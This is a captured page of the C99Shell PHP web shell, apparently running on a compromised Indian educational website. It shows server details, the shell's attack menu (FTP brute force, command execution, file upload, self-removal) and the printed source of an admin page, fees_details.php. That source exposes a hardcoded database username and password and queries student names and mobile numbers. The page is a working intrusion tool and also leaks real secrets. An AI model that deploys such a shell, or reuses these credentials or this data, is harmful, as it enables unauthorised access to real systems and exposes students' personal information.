!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fees_details.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html>
<html lang="en">

 <?php include 'head.php';?>
<style>
body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 20px;
}

h1, h2 {
    text-align: center;
}

.branch-list {
    list-style-type: none;
    padding: 0;
    text-align: center;
}

.branch-list li {
    margin: 10px 0;
}

.branch-list a {
    text-decoration: none;
    color: #333;
    font-weight: bold;
}

.branch-list a:hover {
    color: #4CAF50;
}

/* Add more styling as needed */

table {
  border-collapse: collapse;
  border-spacing: 0;
  width: 100%;
  margin: 0 auto;
  border:2;
}

th, td {
  padding: 10px;
  text-align: left;
}

th {
  background-color: #04AA6D;
  color: white;
}
label, input {
  width: 200px;
}
</style>
<body>

  <!-- ======= Header ======= -->
  
 <?php include 'menubar.php';?>

 <?php include 'sidebar.php';?>


  <main id="main" class="main">

<h2>Fees Details:</h2>
<?php
/* Attempt MySQL server connection. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
$link mysqli_connect("localhost""itce_user""rb!itc838""itce_data");
 
// Check connection
if($link === false){
    die(
"ERROR: Could not connect. " mysqli_connect_error());
}


// Attempt select query execution
$sql "SELECT * FROM monthly_fees order by student_id ASC";
if(
$result mysqli_query($link$sql)){
    if(
mysqli_num_rows($result) > 0){
   echo 
"<table>";
            echo 
"<tr>";
                echo 
"<th>Serial</th>";
                echo 
"<th>Student ID</th>";
                 echo 
"<th>Name</th>";
                  echo 
"<th>Mobile</th>";
                  echo 
"<th>Month</th>";
                echo 
"<th>Year</th>";
                 echo 
"<th>Amount</th>";
                 echo 
"<th>Date</th>";
                  echo 
"<th>Receipt</th>";
            echo 
"</tr>";
        while(
$row mysqli_fetch_array($result))
        {
            
$rowid=$row['ID'];
                echo 
"<tr>";
                echo 
"<td>" $row['ID'] . "</td>";
                echo 
"<td>" $row['student_id'] . "</td>";
                echo 
"<td>" $row['student_name'] . "</td>";
                echo 
"<td>" $row['student_mobile1']. "</td>";
                echo 
"<td>" $row['fees_month'] . "</td>";
                echo 
"<td>" $row['fees_year'] . "</td>";
                echo 
"<td>" $row['paid_fees'] . "</td>";
                echo 
"<td>" $row['payment_date'] . "</td>";
                echo 
"<td style='width: 133px'><a href='print_fees_receipt.php?ID=".$rowid"'>Receipt</a></td>";
                
                echo 
"</tr>";
                
$old_year=$row['fees_year'] ;
                
$old_month=$row['fees_month'];
                
                
$fees_count=$row['paid_fees']+$fees_count;
        }
        echo 
"</table>";
        
// Free result set
        
mysqli_free_result($result);
    } else{
        
         
          
$old_month=date('m');
          
$old_year=date('Y');
          
$fees_date=date('d/m/Y');
    }
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}


 if(
$old_month=='12')
 {
     
$newmonths='01';
     
$newyears=$old_year+1;
 }
 else
 {
     
$newmonths=$old_month+1;
     
$newmonthsstr_pad($newmonths2'0'STR_PAD_LEFT);
     
$newyears=$old_year;
    
 }
 
$fees_date=date('d/m/Y');
// Close connection
mysqli_close($link);
echo 
"<h1>Total Fees Paid:-".$fees_count.'Rs.</h1>';
?>

   
</body>
</html>

<script>
    // Get the input element
    var inputElement = document.getElementById("fees_month");

    // Remove non-numeric characters using regular expression
    inputElement.value = inputElement.value.replace(/[^0-9]/g, '');
</script>
  </main><!-- End #main -->

   <?php include 'footer.php';?>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--